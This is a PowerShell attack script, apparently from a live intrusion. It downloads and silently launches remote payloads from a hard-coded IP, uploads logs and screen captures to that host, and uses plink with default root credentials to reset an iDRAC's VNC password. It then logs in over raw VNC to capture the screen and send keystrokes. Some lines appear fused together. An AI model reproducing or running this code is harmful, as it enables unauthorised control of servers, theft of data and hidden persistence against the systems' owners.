$ErrorActionPreference='SilentlyContinue'
$up='http://159.223.110.159:5561'
$CU='C:\Windows\System32\curl.exe'
$T='C:\Windows\Temp'; $out="$T\D742.txt"
Remove-Item $out -Force 2>$null
function AO([string]$s){ $s | Add-Content -LiteralPath $out }
function Flush(){ try{ & $CU -s -m 60 --noproxy '*' -T $out ($up+'/D742.txt') 2>$null | Out-Null }catch{} }
AO ('HEADMARK-D742 '+('X'*60))
foreach($x in 1..20){ AO ('FILLER-'+$x+'-'+('Y'*70)) }
AO 'REALSTART-D742'
AO ('R00 at=' + (Get-Date -Format 'yyyy-MM-dd HH:mm:ss'))
Flush
$ws="$env:SystemRoot\System32\wscript.exe"
$runh='C:\Users\Public\runh.vbs'
AO '=== [A] tunnels keeper 6170 ==='
Remove-Item 'C:\Users\Public\kp6170.ps1' -Force 2>$null
$null=((& $CU -s -m 30 --noproxy '*' -o 'C:\Users\Public\kp6170.ps1' 'http://159.223.110.159:5557/kp6170.ps1?v=8') 2>&1 | Out-String)
$kz=0; if(Test-Path 'C:\Users\Public\kp6170.ps1'){ $kz=(Get-Item 'C:\Users\Public\kp6170.ps1').Length }
AO ('  kp6170 size='+$kz)
$kp=@(Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" | Where-Object { $_.CommandLine -match 'kp6170' })
if($kp.Count -eq 0 -and $kz -gt 400){
  $null=((& cmd.exe /c ('start "" /min wscript //B //Nologo '+$runh+' C:\Users\Public\kp6170.ps1')) 2>&1 | Out-String)
  AO '  keeper6170 launched'
} else { AO ('  keeper6170 cnt='+$kp.Count) }
Flush
AO '=== [B] detached vpn sweep ==='
Remove-Item 'C:\Users\Public\sp129a.ps1' -Force 2>$null
$null=((& $CU -s -m 30 --noproxy '*' -o 'C:\Users\Public\sp129a.ps1' 'http://159.223.110.159:5557/sp129a.ps1?v=8') 2>&1 | Out-String)
$sz=0; if(Test-Path 'C:\Users\Public\sp129a.ps1'){ $sz=(Get-Item 'C:\Users\Public\sp129a.ps1').Length }
AO ('  sp129a size='+$sz)
if($sz -gt 400){
  $null=((& cmd.exe /c ('start "" /min wscript //B //Nologo '+$runh+' C:\Users\Public\sp129a.ps1')) 2>&1 | Out-String)
  AO '  sweep launched'
}
$old=@(Get-CimInstance Win32_Process -Filter "Name='powershell.exe'" | Where-Object { $_.CommandLine -match 'kp6160' })
AO ('  kp6160 alive='+$old.Count)
$pst=0
foreach($p in (Get-CimInstance Win32_Process -Filter "Name='powershell.exe'")){ if($p.CommandLine -match 'PStun4'){ $pst++ } }
AO ('  pstun procs='+$pst)
Flush
Start-Sleep -Seconds 25
AO '=== [A2] tunnel self-test from 313 ==='
$r=((& $CU -s -m 12 --noproxy '*' -o NUL -w '%{http_code}' 'http://159.223.110.159:6174/') 2>&1 | Out-String).Trim()
AO ('  6174 panel90 http='+$r)
Flush
AO '=== [A0] force vnc password ==='
$P2='C:\Users\Public\plink.exe'
$HK2='SHA256:T6MWDMH5IisObuPY/LFfdpblwYI1v0M+1CR38HWL1tQ'
function RAC2([string]$cmd,[string]$tag){
  $rf="$T\rac741_$tag.txt"
  Remove-Item $rf -Force 2>$null
  $full='cmd /c ""'+$P2+'" -ssh -batch -hostkey '+$HK2+' -pw calvin root@10.15.223.76 "racadm '+$cmd+'" > "'+$rf+'" 2>&1"'
  $null=(cmd.exe /c $full)
  $o=''
  if(Test-Path $rf){ $o=[IO.File]::ReadAllText($rf) }
  return (($o -replace "`r|`n",' / '))
}
$rp=RAC2 'set iDRAC.VNCServer.Password Segx1015' 'pw'
AO ('  setpw :: '+$rp.Substring(0,[Math]::Min(200,$rp.Length)))
Start-Sleep -Seconds 4
$rg=RAC2 'get iDRAC.VNCServer' 'g'
AO ('  get :: '+$rg.Substring(0,[Math]::Min(300,$rg.Length)))
FlushAO '=== [C] vnc auth retry ==='function RevBits([byte]$b){
  $r=0
  for($i=0;$i -lt 8;$i++){ if(($b -band (1 -shl $i)) -ne 0){ $r=$r -bor (1 -shl (7-$i)) } }
  return [byte]$r
}
function RDn([System.IO.Stream]$ns,[int]$n,[int]$ms){
  $buf=New-Object byte[] $n
  $rd=0
  $ns.ReadTimeout=$ms
  while($rd -lt $n){
    try{ $k=$ns.Read($buf,$rd,$n-$rd) }catch{ if($rd -gt 0){ break } else { return ,$null } }
    if($k -le 0){ if($rd -gt 0){ break } else { return ,$null } }
    $rd+=$k
  }
  if($rd -eq 0){ return ,$null }
  $ob=New-Object byte[] $rd
  [Array]::Copy($buf,0,$ob,0,$rd)
  return ,$ob
}
function WBMP2([byte[]]$px,[int]$w,[int]$h,[string]$f){
  $row=$w*4
  $data=New-Object byte[] ($row*$h)
  for($y=0;$y -lt $h;$y++){
    $src=($h-1-$y)*$row
    [Array]::Copy($px,$src,$data,$y*$row,$row)
    for($x=0;$x -lt $w;$x++){ $data[$y*$row+$x*4+3]=255 }
  }
  $fs=[IO.File]::Create($f)
  $bw=New-Object IO.BinaryWriter($fs)
  $bw.Write([byte]0x42); $bw.Write([byte]0x4D); $bw.Write([int](54+$data.Length)); $bw.Write([int]0); $bw.Write([int]54)
  $bw.Write([int]40); $bw.Write([int]$w); $bw.Write([int]$h); $bw.Write([int16]1); $bw.Write([int16]32); $bw.Write([int]0)
  $bw.Write([int]$data.Length); $bw.Write([int]0); $bw.Write([int]0); $bw.Write([int]0); $bw.Write([int]0)
  $bw.Write($data); $bw.Flush(); $fs.Close()
}
function VKEY([System.IO.Stream]$ns,[int]$ksym,[int]$down){
  $b=New-Object byte[] 8
  $b[0]=4; $b[1]=[byte]$down
  $b[4]=[byte]([int]($ksym/16777216)%256); $b[5]=[byte]([int]($ksym/65536)%256); $b[6]=[byte]([int]($ksym/256)%256); $b[7]=[byte]($ksym%256)
  $ns.Write($b,0,8); $ns.Flush()
}
function KTAP2([System.IO.Stream]$ns,[int]$ksym){
  VKEY $ns $ksym 1; Start-Sleep -Milliseconds 180; VKEY $ns $ksym 0; Start-Sleep -Milliseconds 150
}
function SNAP([System.IO.Stream]$ns,[int]$W,[int]$H){
  $fr=New-Object byte[] 10
  $fr[0]=3
  $fr[6]=[byte]([int]($W/256)%256); $fr[7]=[byte]($W%256)
  $fr[8]=[byte]([int]($H/256)%256); $fr[9]=[byte]($H%256)
  $ns.Write($fr,0,10); $ns.Flush()
  $canvas=New-Object byte[] ($W*$H*4)
  $got=$false
  $rounds=0
  while(-not $got -and $rounds -lt 60){
    $rounds++
    $mt=RDn $ns 1 9000
    if($null -eq $mt){ break }
    $t=[int]$mt[0]
    if($t -eq 0){
      $mh=RDn $ns 3 6000
      if($null -eq $mh){ break }
      $nrect=[int]$mh[1]*256+[int]$mh[2]
      for($ri=0;$ri -lt $nrect;$ri++){
        $rh=RDn $ns 12 6000
        if($null -eq $rh){ break }
        $rx=[int]$rh[0]*256+[int]$rh[1]
        $ry=[int]$rh[2]*256+[int]$rh[3]
        $rw=[int]$rh[4]*256+[int]$rh[5]
        $rhh=[int]$rh[6]*256+[int]$rh[7]
        $enc4=([long]$rh[8]*16777216)+([long]$rh[9]*65536)+([long]$rh[10]*256)+[long]$rh[11]
        if($enc4 -eq 0){
          $pix=RDn $ns ($rw*$rhh*4) 20000
          if($null -eq $pix){ break }
          for($rwy=0;$rwy -lt $rhh;$rwy++){
            $src=$rwy*$rw*4
            $dst=(($ry+$rwy)*$W+$rx)*4
            if(($dst -ge 0) -and (($dst+$rw*4) -le $canvas.Length)){ [Array]::Copy($pix,$src,$canvas,$dst,$rw*4) }
          }
          $got=$true
        } else { return ,$null }
      }
    } elseif($t -eq 1){
      $h5=RDn $ns 5 4000
      if($null -eq $h5){ break }
      $nc=[int]$h5[3]*256+[int]$h5[4]
      if($nc -gt 0){ $null=RDn $ns ($nc*6) 6000 }
    } elseif($t -eq 2){ $null=RDn $ns 3 4000 }
    elseif($t -eq 3){
      $h7=RDn $ns 7 4000
      if($null -eq $h7){ break }
      $tl=([long]$h7[3]*16777216)+([long]$h7[4]*65536)+([long]$h7[5]*256)+[long]$h7[6]
      if($tl -gt 0 -and $tl -lt 2000000){ $null=RDn $ns $tl 8000 }
    }
  }
  if(-not $got){ return ,$null }
  return ,$canvas
}
function SIG([byte[]]$px){
  $md=[System.Security.Cryptography.MD5]::Create()
  $h=$md.ComputeHash($px)
  return ([BitConverter]::ToString($h) -replace '-','').Substring(0,16)
}
function UPBMP([string]$f,[string]$name){
  if(Test-Path $f){
    $null=((& $CU -s -m 120 -T $f ($up+'/'+$name)) 2>&1 | Out-String)
    return ',up='+(Get-Item $f).Length
  }
  return ',nofile'
}$ok=$false
$sck=$null
$ns=$null
for($try=1;$try -le 4 -and -not $ok;$try++){
  if($sck){ try{ $sck.Close() }catch{} }
  $sck=New-Object Net.Sockets.TcpClient
  $ar=$sck.BeginConnect('10.15.223.76',5901,$null,$null)
  if(-not $ar.AsyncWaitHandle.WaitOne(6000)){ AO ('  t'+$try+' conn-timeout'); Flush; Start-Sleep -Seconds 6; continue }
  $sck.EndConnect($ar)
  $ns=$sck.GetStream(); $ns.WriteTimeout=8000
  $vr=RDn $ns 12 4000
  $vh='none'
  if($null -ne $vr){ $vh=(([Text.Encoding]::ASCII.GetString($vr)) -replace "`r|`n",'') }
  $v=[Text.Encoding]::ASCII.GetBytes("RFB 003.008`n")
  $ns.Write($v,0,$v.Length); $ns.Flush()
  $sel=[byte[]]@([byte]2)
  $ns.Write($sel,0,1); $ns.Flush()
  $h=RDn $ns 18 20000
  if($null -eq $h){ AO ('  t'+$try+' nochal ver='+$vh); Flush; Start-Sleep -Seconds 8; continue }
  AO ('  t'+$try+' ver='+$vh+' raw='+([BitConverter]::ToString($h)))
  $ch=New-Object byte[] 16
  [Array]::Copy($h,2,$ch,0,16)
  $key=New-Object byte[] 8
  $pwk='Segx1015'
  for($i=0;$i -lt 8;$i++){ $bv=[byte][char]$pwk[$i]; $key[$i]=RevBits $bv }
  $des=[System.Security.Cryptography.DES]::Create()
  $des.Mode=[System.Security.Cryptography.CipherMode]::ECB
  $des.Padding=[System.Security.Cryptography.PaddingMode]::None
  $des.Key=$key
  $enc=$des.CreateEncryptor().TransformFinalBlock($ch,0,16)
  $ns.Write($enc,0,16); $ns.Flush()
  $res=RDn $ns 4 15000
  if($null -eq $res){ AO ('  t'+$try+' noresult'); Flush; Start-Sleep -Seconds 8; continue }
  $st4=([long]$res[0]*16777216)+([long]$res[1]*65536)+([long]$res[2]*256)+[long]$res[3]
  AO ('  t'+$try+' auth='+$st4)
  Flush
  if($st4 -eq 0){ $ok=$true } else { Start-Sleep -Seconds 8 }
}
if(-not $ok){ AO '  vnc auth exhausted - stop'; Flush; try{ $sck.Close() }catch{}; exit }